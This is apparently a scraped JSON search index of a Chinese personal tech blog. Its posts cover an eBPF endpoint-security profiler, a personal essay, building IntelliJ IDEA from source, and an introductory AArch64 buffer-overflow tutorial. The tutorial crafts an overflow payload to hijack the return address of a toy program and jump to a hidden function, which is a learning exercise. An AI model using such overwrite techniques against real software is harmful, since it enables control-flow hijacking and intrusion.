不需要安全软件，因为里头全是安全软件。\n但随着国产化的步伐，很多国企内网都放弃了Windows转向自主研发的基于 Linux 内核的操作系统。所以 Linux 上势必需要一个无需配置，使用简单，目的明确的端点安全软件，而这一块基本上还是空白。\nBetterProfiler 借鉴了 bpftrace \u0026amp; bcc 和设计，目的是使用 eBPF 重新造一个可用且好用端点安全动态分析引擎，让安全软件栈从单一的流量监测和静态分析跳脱出来的一次大胆尝试，让嵌入式 Linux 系统，如摄像头，路由器，GPON设备，物联网关也具有单机安全防御能力。\n写道这里我都不知道我究竟写了什么，或者我究竟在尝试表达什么，这很牛皮吗，或者这很新颖吗，搞得好像 BPF 框架是是我写的一样。但是比赛的文档就需要这样写啊，不是吗？ # 不会再有二次了。\n","date":"26 January 2023","externalUrl":null,"permalink":"/posts/sss/","section":"Posts","summary":"BetterProfiler 是一个针对嵌入式 Linux 的进程动态跟踪器。BetterProfiler 可追踪进程与内核的整个生命周期，文件 IO，网络IO，内存操作，加密读写等。\n","title":"BetterProfiler 比赛文档","type":"posts"},{"content":"","date":"26 January 2023","externalUrl":null,"permalink":"/tags/ebpf/","section":"Tags","summary":"","title":"Ebpf","type":"tags"},{"content":"","date":"26 January 2023","externalUrl":null,"permalink":"/tags/linux/","section":"Tags","summary":"","title":"Linux","type":"tags"},{"content":"","date":"26 January 2023","externalUrl":null,"permalink":"/tags/profiler/","section":"Tags","summary":"","title":"Profiler","type":"tags"},{"content":"","date":"5 January 2023","externalUrl":null,"permalink":"/tags/aarch64/","section":"Tags","summary":"","title":"Aarch64","type":"tags"},{"content":"functions echo 的 scanf 没有对输入的buffer 大小做限制而用户可以输入超长字符串覆盖函数的 return 地址，进而跳转执行 secretFunction 函数。\n考虑下面的代码：\nfunctions echo 的 scanf 没有对输入的buffer 大小做限制而用户可以输入超长字符串覆盖函数的 return 地址，进而跳转执行 secretFunction 函数。\n尝试输入：1234AAAABBBB\n执行到地 11 行时，栈的内容：\n因为 char buffer[4] 所以溢出的部分为 AAAABBBB，者很好理解。\nBuffer Overflow 的本质 # 从 echo 返回到 main 函数会执行 ldp 指令：\nx29 When a function is called, its stack frame is typically set up to store information such as the return address, function arguments, and local variables. The frame pointer points to the base of this stack frame, allowing easy access to these values through fixed offsets from the frame pointer.\nx29 通常会被设置为当前函数的栈帧底部的地址，这样可以通过偏移量相对于x29来访问局部变量和函数参数。\nx30(LR): The LR register allows the processor to return control to the correct location in the code after a function call. When a function is called, the address of the instruction immediately following the function call is stored in the LR register. This allows the processor to resume execution from that point once the function execution is complete.\n执行之前的 x29 和 x30 寄存器 执行之前的栈如下，$ stack -i 20 显示： After： 可见栈空间向下扩展 0x10（ 0x7fffffec20 = 0x7fffffec10 + 0x10）\npwndbg\u0026gt; x/i 0x7ff7dec8f0 0x7ff7dec8f0 \u0026lt;__GI_exit\u0026gt;: stp x29, x30, [sp, #-16]! 原来的 sp 变成了 x29, x30 = 原sp - 0x8\nX30 也就是 LR 指向了 \u0026lt;__GI_exit\u0026gt;\npwndbg\u0026gt; x/i 0x7ff7dec8f0 0x7ff7dec8f0 \u0026lt;__GI_exit\u0026gt;: stp x29, x30, [sp, #-16]! 看到 stp x29, x30, 表示这又是某个函数的开头。\n这非常好理解，因为 echo 的返回值为 return 0, GCC 把它认为是 exit(0)，基 exit 是 glibc 提供的退出函数，It performs various cleanup tasks, such as flushing streams, closing files, and calling functions registered with the atexit or on_exit functions. After cleanup, exit terminates the program execution and returns control to the operating system.\n如果 stepi 的，会发现转入了 glibc-2.38/sysdeps/nptl/libc_start_call_main.h 中的 __libc_start_call_main 运行：\nmain 函数 return 时： ldp x29, x30, [sp], #0x10 执行完成后:\nx29 = sp x30 = sp + 0x8 sp = sp + 0x10 这里关键是 x30 的值如何，决定了main 函数 return 到哪里去，我们可以计算一下 x30 的值，显然为 0x7ff7dd73ec（sp=0x7fffffec10,sp-0x8 ）而 0x7ff7dd73ec 为 libc.so.6 中的 .text 对应的函数为：\n0x7ff7dd73ec \u0026lt;__libc_start_call_main+92\u0026gt;: 0x94005541 最后程序正常退出：\n这没什么问题，1234AAAABBBB 最终并不会造成程序异常退出，因为 payload 的长度并不足以覆盖到 main函数的 return 地址，本质上是执行到 ldp x29, x30, [sp], #0x10 的时候，payload 并不会影响到 x30 计算后的值。\n本质上，buffer overflow 可以看作是对 LR 寄存器的覆盖，你覆盖了LR寄存器，就可以控制程序跳转到你想要的地方去执行。\n动手覆盖 main 函数的返回地址 # 关键在这个地方： 我们知道 一切源于这条指令： ldp x29, x30, [sp], #0x10：\nx29 = sp x30 = sp + 0x8 sp = sp + 0x10 1234AAABBBB 还不足以覆盖到栈地址 0x7fffffec18（sp + 0x8 ），在 aarch64 中，指针长度为 long *，也就是 8 字节，所以payload 需要适当增加，接下来组装 payload，8字节一组：\n[1234AAAA] [BBBBCCCC] [DDDDEEEE] 理论上DDDDEEEE能填充到 0x7fffffec18 + 0x8 的区域，传入1234AAAABBBBCCCCDDDDEEE，在 main 函数的 return 处停止，此时栈：\n理论上执行 ldp x29, x30, [sp], #0x10 后，X30（LR）寄存器的值就成了 DDDDEEEE：\n使用任何一个 Hex 编辑器将 DDDDEEEE 改为 secrtFunction 的函数开始地址：\n","date":"5 January 2023","externalUrl":null,"permalink":"/posts/bufferoveflow/","section":"Posts","summary":"functions echo 的 scanf 没有对输入的buffer 大小做限制而用户可以输入超长字符串覆盖函数的 return 地址，进而跳转执行 secretFunction 函数。\n","title":"Buffer Overflow 入门笔记","type":"posts"},{"content":"","date":"5 January 2023","externalUrl":null,"permalink":"/tags/buffer-overflow/","section":"Tags","summary":"","title":"Buffer-Overflow","type":"tags"},{"content":"","date":"5 January 2023","externalUrl":null,"permalink":"/tags/exploit/","section":"Tags","summary":"","title":"Exploit","type":"tags"},{"content":"","date":"10 September 2022","externalUrl":null,"permalink":"/categories/notes/","section":"Categories","summary":"","title":"Notes","type":"categories"},{"content":"","date":"10 September 2022","externalUrl":null,"permalink":"/tags/notes/","section":"Tags","summary":"","title":"Notes","type":"tags"},{"content":"我抗拒，我不要，我不，不，NO 上大学的时候，从宿舍到科技园偶尔能碰见几个人和我友善的打招呼。他们大老远就喊：学长！学…..长！！ 我的内心：”我超，他认识我，下次请不要喊我了，求你了，真的求求了，MTF”\n别人知道我的计算机与科学专业，我会纠正他，我是艺术生。别人知道我喜欢吃巧克力，我会纠正他，我不喜欢吃，我最讨厌甜的东西了。 别人知道我家在哪里，我会纠正他，我家住XXX（随机想一个地名）。 别人知道我做网络安全，我会纠正他，我炒股的。 别人看见我滑板从教学楼前面梭过去，下次我会说我从来不滑板，我就一死宅。\n别人问我，你到底想干什么？ 我回答：我不要，听见没？ 我他妈的不，我不：）。\n然后我就会少一个朋友，乐。\n","date":"10 September 2022","externalUrl":null,"permalink":"/posts/imthinkofendingthings/","section":"Posts","summary":"我抗拒，我不要，我不，不，NO 上大学的时候，从宿舍到科技园偶尔能碰见几个人和我友善的打招呼。他们大老远就喊：学长！学…..长！！ 我的内心：”我超，他认识我，下次请不要喊我了，求你了，真的求求了，MTF”\n","title":"我不","type":"posts"},{"content":"","date":"5 September 2022","externalUrl":null,"permalink":"/tags/build/","section":"Tags","summary":"","title":"Build","type":"tags"},{"content":"你可能不知道的是 IntelliJ IDEA 社区版是开源的，其源代码托管在 https://git.jetbrains.org 中。\nIntelliJ 平台简介 # 你可能不知道的是 IntelliJ IDEA 社区版是开源的，其源代码托管在 https://git.jetbrains.org 中。\n仓库 https://github.com/JetBrains/intellij-community/ 与 https://git.jetbrains.org 保持同步，但可能会有延迟。\n准确来说 IntelliJ 是一个开源的 IDE 平台，IntelliJ IDEA 等 JetBrains 产品基于IntelliJ 平台开发。Google 的 Android Studio也是基于IntelliJ 平台开发的，从Android Studio的界面看就知道。\nIntelliJ 平台提一个 现代 IDE所需要的基础架构组件 。比如创建工具窗口、树视图和列表，快速搜索，全文编辑器，语法突出显示、代码折叠、代码补全等抽象实现。\n文档地址：https://plugins.jetbrains.com/docs/intellij/intellij-platform.html\n从源码构建 IntelliJ IDEA Community Edition # 首先克隆源码：\n$ git clone git://git.jetbrains.org/idea/community.git --depth 1 💡 如果不添加 --depth 1 将会克隆全部提交记录，体积会非常大。这里需要说明的一点是git.jetbrains.org在国内非常慢，直连大概 10kb/s，而git:// 协议不支持从 http_proxy 读取代理配置，需要使用 proxychains 强制 git 走代理。\n💡 Master 分支可能无法成功构建。\nJetbrains 内部 CI 应该会不定时进行构建测试，但哪次提交构建成功或者失败我就不太清楚了。所以Master 分支能不能成功构建全看运气。我写了一个脚本，会自动构建 IntelliJ IDEA Community Edition 并记录构建成功的 commit tree供大家参考。\n我感觉 IntelliJ 平台虽然是开源的，但类似于一种大家都知道大家都在用，但一般不会给它贡献代码的情况。 IntelliJ 平台的代码提交者基本是在 Jetbrains 内部工作的大佬。\n在 windows 平台上需要对 git 客户端配置两个参数\ngit config --global core.longpaths true\ngit config --global core.autocrlf input\nIntelliJ IDEA 社区版需要独立的 Android 模块，在源码根目录克隆Android 模块目录：\ngit clone git://git.jetbrains.org/idea/android.git android --depth 1\nAndroid 模块的 Master 分支同样可能无法成功构建，全靠运气。 运行 installers.cmd 进行源码构建：\n$ ./installers.cmd -Dintellij.build.dev.mode=false -Dintellij.build.target.os=current 增量构建需要添加 -Dintellij.build.incremental.compilation=true 参数，增量构建可以减少构建时间。\n遇到的问题 # /tmp 不能为软链接，否则在 jps-bootstrap 时会失败。 如果你的Linux 发行版的 /tmp 目录为软链接，需要为JVM添加参数：\n$ export _JAVA_OPTIONS=\u0026#34;-Djava.io.tmpdir=/var/tmp\u0026#34; 后话 # 构建 IntelliJ 平台需要的内存非常大，8G内存可能会不够，在构建的时候会直接爆炸。\n如果是调试 IntelliJ 平台。最低要 16G 内存，不然会卡成 PPT。\n如果我就是穷怎么办？\n如果是单纯构建 IntelliJ 平台，可以通过 SWAP （ZSWAP或者ZRAM）来弥补内存不足的情况。\n我这里的情况是用一台机顶盒作为 AutoBuild 服务器，内存只有 4G，但通过 ZRAM 可以扩展出 11G的SWAP内存，我一开始觉得这样操作算作弊。但实测确实可以成功构建IDEA 社区版，但就是非常非常慢，因为eMMC的 IO 读写慢，DDR 内存 IO 慢，造成了虽然能构建，但构建一次需要4个小时。\n但作为 AutoBuild 服务器，4小时构建时长就不是问题，因为我本打算就一天构建2次。多次重复构建没有实际意义还不环保：）\n","date":"5 September 2022","externalUrl":null,"permalink":"/posts/buildintellijplatformfromsource/","section":"Posts","summary":"你可能不知道的是 IntelliJ IDEA 社区版是开源的，其源代码托管在 https://git.jetbrains.org 中。\n","title":"IntelliJ IDEA Community Edition 源码构建记录","type":"posts"},{"content":"","externalUrl":null,"permalink":"/authors/","section":"Authors","summary":"","title":"Authors","type":"authors"},{"content":"","externalUrl":null,"permalink":"/series/","section":"Series","summary":"","title":"Series","type":"series"}]